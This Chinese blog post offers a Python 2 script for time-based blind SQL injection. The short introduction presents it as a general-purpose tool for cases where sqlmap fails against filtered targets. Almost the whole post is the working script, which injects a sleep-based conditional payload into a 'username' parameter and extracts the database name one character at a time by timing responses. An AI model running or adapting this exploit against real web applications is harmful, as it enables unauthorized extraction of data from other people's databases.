SQL延时注入脚本

  • A+
所属分类:Python

很多白帽们应该都会有一个体会,在sqlmap神器中跑延时注入时会跑不出数据,原因是因为它可能过滤了一部份的sql语句,这时就需要我们进行构造语句来进行注入,构造完成之后还需要一个好的脚本进行自动让它跑一遍,在这里分析一个脚本给大家,延时注入用它基本是通用的。(只需要改动一下相关的payload)

#encoding=gbk

import httplib

import time

import string

import sys

import random

import urllib


headers = {

'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',

'Cookie':''

}


payloads = list(string.ascii_lowercase)

for i in range(0,10):

payloads.append(str(i))

payloads += ['@','_', '.', '-', '\\', ' ','~']

print 'Try to retrive database:'

database = ''

for i in range(1,11):

for payload in payloads:

try:

conn = httplib.HTTPConnection('127.0.0.1', timeout=5) #目标地址

s = " AND (SELECT * FROM (SELECT(if(ascii(substr(database(),%s,1))=%s,sleep(5),0)))oWxq) AND 'ABC'='ABC" % (i, ord(payload)) #写入构造好的payload

params = "username=xxx'" + urllib.quote(s) #注入的参数

conn.request(method='GET', url= '/test.php?' + params, #对应的文件

headers = headers)

html_doc = conn.getresponse().read()

conn.close()

print '+',

except Exception, e:

print e

database += payload

print '\n[*]', database

break


print '\n[Done] datase is:', database


  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: